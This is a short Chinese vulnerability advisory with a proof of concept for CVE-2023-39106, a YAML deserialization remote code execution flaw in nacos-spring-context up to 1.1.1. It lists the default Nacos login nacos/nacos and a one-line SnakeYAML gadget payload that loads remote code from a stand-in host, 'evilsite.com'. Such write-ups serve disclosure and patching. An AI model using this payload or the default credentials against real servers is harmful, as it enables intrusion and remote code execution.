CVE-2023-39106:Nacos-Spring 远程命令执行漏洞 附POC
2023-9-8 04:18:56 Author: mp.weixin.qq.com(查看原文) 阅读量:300 收藏

简介

Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。Nacos Spring 项目基于Nacos,完全拥抱 Spring 生态,旨在帮助您快速构建 Spring 应用。该项目包含一个名为 的核心模块nacos-spring-context。它使您能够通过以下方式扩展现代 Java 编程模型:注释驱动,依赖注入,外部化配置,事件驱动,这些功能强烈依赖于 Spring Framework 3.2+ API,并且可以与任何 Spring Stack 无缝集成,例如 Spring Boot 和 Spring Cloud。

GitHub:https://github.com/nacos-group/nacos-spring-project

漏洞描述

反序列化攻击者提供的 yaml 内容可能会导致远程代码执行。因此,当spring框架项目使用nacos-spring-context作为依赖项时,只需在nacos服务器中添加恶意的配置即可轻松进行RCE。

影响版本

nacos-spring-context ≤ V1.1.1

空间测绘

该漏洞属于Spring依赖nacos-spring-context的漏洞,故无测绘特征,只能在源码中体现Nacos空间测绘:app="NACOS"

漏洞利用

1.创建一个空的spring-framework工程,并添加nacos-spring-context的依赖。

2.添加下面的代码,按照文档所说,设置NacosPropertySource:

+import com.alibaba.nacos.api.config.ConfigType;+import com.alibaba.nacos.spring.context.annotation.config.NacosPropertySource;
@SpringBootApplication+@NacosPropertySource(dataId = "example.yaml", type=ConfigType.YAML, autoRefreshed=true) public class Application {
public static void main(String[] args) { ......

3.登录nacos配置服务器

默认地址:http://xxx.xxx.xxx:8848/nacos/#/login默认账密:nacos/nacos

然后编辑example.yaml,添加以下一行配置:

test: !!javax.script.ScriptEngineManager  [ !!java.net.URLClassLoader  [[ !!java.net.URL  [ "http://evilsite.com" ]]]]

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-39106https://github.com/nacos-group/nacos-spring-project/issues/314

仅供学习交流,勿用作违法犯罪


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2OTYzNTExNQ==&mid=2247484418&idx=1&sn=4f2f8b054e5f0ccafe05601a166ddfd9&chksm=ce9b4146f9ecc8503b2e13f1adfb7ad05a97bf588c369b70f9ed832e387f762729f6f6237245&mpshare=1&scene=1&srcid=09088QS3pSmnR7IBvdOdd3i9&sharer_shareinfo=780b1e1b8718effa922c28a002b9e59d&sharer_shareinfo_first=c60771a0721d7739e05fc282c56b12c5#rd
如有侵权请联系:admin#unsafe.sh